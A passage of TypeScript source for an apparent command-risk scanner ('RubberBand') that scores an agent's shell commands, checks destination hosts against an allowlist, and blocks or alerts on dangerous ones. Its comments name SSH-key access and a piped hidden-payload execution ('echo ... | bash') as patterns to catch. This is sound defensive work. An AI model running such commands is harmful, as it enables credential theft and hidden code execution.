for (const [ruleId, rule] of Object.entries(PATTERNS)) {
for (const pattern of rule.patterns) {
if (pattern.test(content)) {
matches.push({
rule_id: ruleId,
category: rule.category,
score: rule.score,
pattern: pattern.source,
});
break; // One match per rule is enough
}
}
}
return matches;
}
/**
* Extract and validate destination URLs
*/
function checkDestination(content: string, allowedDestinations: string[]): string | null {
const urlMatch = content.match(/https?:\/\/([^/\s:]+)/i);
if (urlMatch) {
const host = urlMatch[1].toLowerCase();
for (const allowed of allowedDestinations) {
const allowedLower = allowed.toLowerCase();
// Strict matching: exact match OR proper subdomain
if (host === allowedLower || host.endsWith(`.${allowedLower}`)) {
return null; // Allowed
}
}
return host; // Suspicious destination
}
return null;
}
/**
* Calculate overall risk score
*/
function calculateRisk(
content: string,
config: RubberBandConfig,
contentWasStripped?: boolean,
): { score: number; matches: RubberBandMatch[]; factors: string[] } {
const matches = checkPatterns(content);
if (matches.length === 0) {
return { score: 0, matches: [], factors: [] };
}
// Score stacking: sum highest score from each unique category
// This ensures bash -c + ssh_key_access = higher risk than either alone
const categoryScores = new Map<string, number>();
for (const match of matches) {
const existing = categoryScores.get(match.category) ?? 0;
categoryScores.set(match.category, Math.max(existing, match.score));
}
// Sum scores from different categories (capped at 100)
let baseScore = 0;
for (const score of categoryScores.values()) {
baseScore += score;
}
const factors: string[] = [];
const categories = new Set(matches.map((m) => m.category));
// Note when multiple categories contributed
if (categoryScores.size > 1) {
factors.push(`multi_category:${[...categoryScores.keys()].join("+")}`);
}
// Destination check
const suspiciousDest = checkDestination(content, config.allowedDestinations);
if (suspiciousDest) {
baseScore += 30;
factors.push(`external_destination:${suspiciousDest}`);
}
// Encoding + file access = higher risk (bonus on top of stacking)
if (categories.has("obfuscation") && categories.has("credential_access")) {
baseScore += 10;
factors.push("encoding_credentials");
}
// Content was stripped (echo/git commit) BUT execution pattern found = suspicious
// This catches: echo "hidden payload" | bash
if (contentWasStripped && categories.has("indirect_execution")) {
baseScore += 30;
factors.push("stripped_content_with_execution");
}
return {
score: Math.min(100, Math.max(0, baseScore)),
matches,
factors,
};
}
/**
* Analyze a command for dangerous patterns
*/
export function analyzeCommand(
command: string,
options?: {
config?: Partial<RubberBandConfig>;
},
): RubberBandResult {
const startTime = performance.now();
const config = { ...DEFAULT_CONFIG, ...options?.config };
// Check if disabled
if (!config.enabled || config.mode === "off") {
return { disposition: "ALLOW", score: 0, matches: [], factors: [] };
}
// Block excessively long commands (prevents ReDoS and hiding payloads)
if (command.length > MAX_COMMAND_LENGTH) {
logWarn(`rubberband: BLOCK (command exceeds ${MAX_COMMAND_LENGTH} chars: ${command.length})`);
return {
disposition: "BLOCK",
score: 100,
matches: [{ rule_id: "command_too_long", category: "evasion", score: 100 }],
factors: [`length:${command.length}`],
};
}
// Context-aware preprocessing - strip content that looks dangerous but isn't
const [preprocessedCommand, contentWasStripped] = stripContextSafeContent(command);
// Normalize to catch encoding bypasses
const normalizedCommand = normalize(preprocessedCommand);
// Calculate risk
const risk = calculateRisk(normalizedCommand, config, contentWasStripped);
// Determine disposition based on mode and score
// Note: mode "off" returns early above, so only block/alert/log/shadow reach here
let disposition: RubberBandDisposition;
// "log" mode: always LOG (silent, no user notifications)
if (config.mode === "log") {
disposition = risk.score > 0 ? "LOG" : "ALLOW";
}
// "shadow" mode: LOG internally (no block, no user alerts)
else if (config.mode === "shadow") {
disposition = risk.score > 0 ? "LOG" : "ALLOW";
}
// "alert" and "block" modes: normal threshold-based disposition
else if (risk.score >= config.thresholds.block) {
disposition = config.mode === "block" ? "BLOCK" : "ALERT";
} else if (risk.score >= config.thresholds.alert) {
disposition = "ALERT";
} else if (risk.score > 0) {
disposition = "LOG";
} else {
disposition = "ALLOW";
}
const analyzeMs = performance.now() - startTime;
// Log based on disposition
const modeTag = config.mode === "shadow" ? " [SHADOW]" : "";
if (disposition === "BLOCK") {
logWarn(
`rubberband:${modeTag} BLOCK (score=${risk.score}, ${analyzeMs.toFixed(1)}ms) ` +
`command="${command.slice(0, 100)}" rules=[${risk.matches.map((m) => m.rule_id).join(",")}]`,
);
} else if (disposition === "ALERT" && risk.score > 0) {
logInfo(
`rubberband:${modeTag} ALERT (score=${risk.score}, ${analyzeMs.toFixed(1)}ms) ` +
`command="${command.slice(0, 100)}" rules=[${risk.matches.map((m) => m.rule_id).join(",")}]`,
);
}
return {
disposition,
score: risk.score,
matches: risk.matches,
factors: risk.factors,
};
}
// ============ EXEC INTEGRATION HELPER ============
export type RubberBandCheckContext = {
command: string;
rbConfig: Partial<RubberBandConfig>;
warnings: string[];
notifySessionKey?: string;
rbNotifyCfg?: unknown;
emitExecSystemEvent: (text: string, opts: { sessionKey?: string }) => void;
// eslint-disable-next-line @typescript-eslint/no-explicit-any
notifyUserChannel: (text: string, opts: { sessionKey?: string; cfg: any }) => Promise<void>;
};
/**
* Run a RubberBand check and handle BLOCK/ALERT dispositions.
* Throws on BLOCK. Pushes warnings on ALERT. Returns the result.
*/
export async function runRubberBandCheck(ctx: RubberBandCheckContext): Promise<RubberBandResult> {
const rbOpts = Object.keys(ctx.rbConfig).length > 0 ? { config: ctx.rbConfig } : undefined;
const result = analyzeCommand(ctx.command, rbOpts);
if (result.disposition === "BLOCK") {
const rules = result.matches.map((m) => m.rule_id).join(", ");
const blockMsg = `🔴 RubberBand BLOCK (score ${result.score}): ${rules}\nCommand: ${ctx.command}`;
ctx.emitExecSystemEvent(blockMsg, { sessionKey: ctx.notifySessionKey });
if (ctx.rbConfig.notifyChannel && ctx.rbNotifyCfg) {
await ctx.notifyUserChannel(blockMsg, {
sessionKey: ctx.notifySessionKey,
cfg: ctx.rbNotifyCfg,
});
}
throw new Error(
`exec blocked by pattern analysis (score ${result.score}/100): ${rules}\n` +
"This command was flagged as potentially dangerous and cannot be executed.",
);
}
if (result.disposition === "ALERT" && result.matches.length > 0) {
const rules = result.matches.map((m) => m.rule_id).join(", ");
const alertMsg = `⚠️ RubberBand ALERT (score ${result.score}): ${rules}\nCommand: ${ctx.command}`;
ctx.warnings.push(`⚠️ Pattern warning (score ${result.score}): ${rules}`);
ctx.emitExecSystemEvent(alertMsg, { sessionKey: ctx.notifySessionKey });
if (ctx.rbConfig.notifyChannel && ctx.rbNotifyCfg) {
await ctx.notifyUserChannel(alertMsg, {
sessionKey: ctx.notifySessionKey,
cfg: ctx.rbNotifyCfg,
});
}
}
return result;
}